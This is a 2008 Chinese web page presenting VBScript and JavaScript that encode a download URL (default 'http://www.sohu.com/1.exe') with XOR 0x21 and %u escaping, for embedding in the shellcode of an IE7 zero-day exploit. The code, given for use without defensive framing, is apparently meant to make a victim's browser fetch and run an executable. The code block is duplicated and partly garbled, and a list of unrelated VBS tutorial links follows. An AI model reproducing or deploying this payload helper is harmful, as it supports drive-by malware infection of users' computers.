ie7 0day當(dāng)中的shellcode的escape+xor21加密
更新時(shí)間：2008年12月12日 14:09:49 作者：
shellcode的escape+xor21加密
<SCRIPT LANGUAGE="VBSCRIPT">
Function Encode(s,n)
Dim b
b=UCase(s)
For i=1 To Len(b)
Encode=Encode&Chrw((Asc(Mid(b,i,1)) Xor n))
Next
End Function
</script>
<script language="javascript">
myrand=window.prompt("url:","http://www.sohu.com/1.exe");
strVariable = (Encode(myrand,0x21)).toUpperCase( )
function gen(url)
{
var i=0,l=0,k=0,curl="";
l= url.length;
for(;i<l;i++){
k=url.charCodeAt(i);
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
if (l%2){curl+="00";}else{curl+="0000";}
curl=curl.replace(/(..)(..)/g,"%u$2$1");
return curl;
}
document.write(gen(strVariable));
</script>
Function Encode(s,n)
Dim b
b=UCase(s)
For i=1 To Len(b)
Encode=Encode&Chrw((Asc(Mid(b,i,1)) Xor n))
Next
End Function
</script>
<script language="javascript">
myrand=window.prompt("url:","http://www.sohu.com/1.exe");
strVariable = (Encode(myrand,0x21)).toUpperCase( )
function gen(url)
{
var i=0,l=0,k=0,curl="";
l= url.length;
for(;i<l;i++){
k=url.charCodeAt(i);
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
if (l%2){curl+="00";}else{curl+="0000";}
curl=curl.replace(/(..)(..)/g,"%u$2$1");
return curl;
}
document.write(gen(strVariable));
</script>
相關(guān)文章
VBS類構(gòu)造函數(shù)與Default關(guān)鍵字使用介紹
很多人并不知道 VBS 中還有個(gè) Default 關(guān)鍵字，更不用說知道 Default 關(guān)鍵字的用法。2011-10-10
VBS教程：VBscript屬性-HelpContext 屬性
VBS教程：VBscript屬性-HelpContext 屬性...2006-11-11
VBS教程：方法-FileExists 方法...2006-11-11
VBS教程：VBScript 基礎(chǔ)-使用循環(huán)語句
VBS教程：VBScript 基礎(chǔ)-使用循環(huán)語句...2006-11-11
tel.xls.vbs xls專殺工具...2007-06-06
這篇文章主要介紹了vbs ping實(shí)現(xiàn)的兩種方式，文中通過示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-03-03
經(jīng)常有一些想學(xué)習(xí)vbs的朋友問我一些問題，昨天又有一個(gè)朋友問我取路徑的問題，今天就biweilun就一并寫出來，希望對(duì)大家有點(diǎn)幫助，呵呵2008-07-07
VBS中Select CASE的其它用法...2006-09-09
用vbs實(shí)現(xiàn)獲取電腦硬件信息的腳本_最新版
比較迅速的獲取硬件信息排序后的txt文件把后綴名改為csv就是表格了，精簡(jiǎn)、整理后輸出打印就OK了。 如此詳細(xì)的信息，給老板看，一定可以讓老板對(duì)你另眼相看。 即使自己看，也能發(fā)現(xiàn)很多料想不到的的信息。2008-05-05
用vbscript合并多個(gè)文本文件的代碼...2007-04-04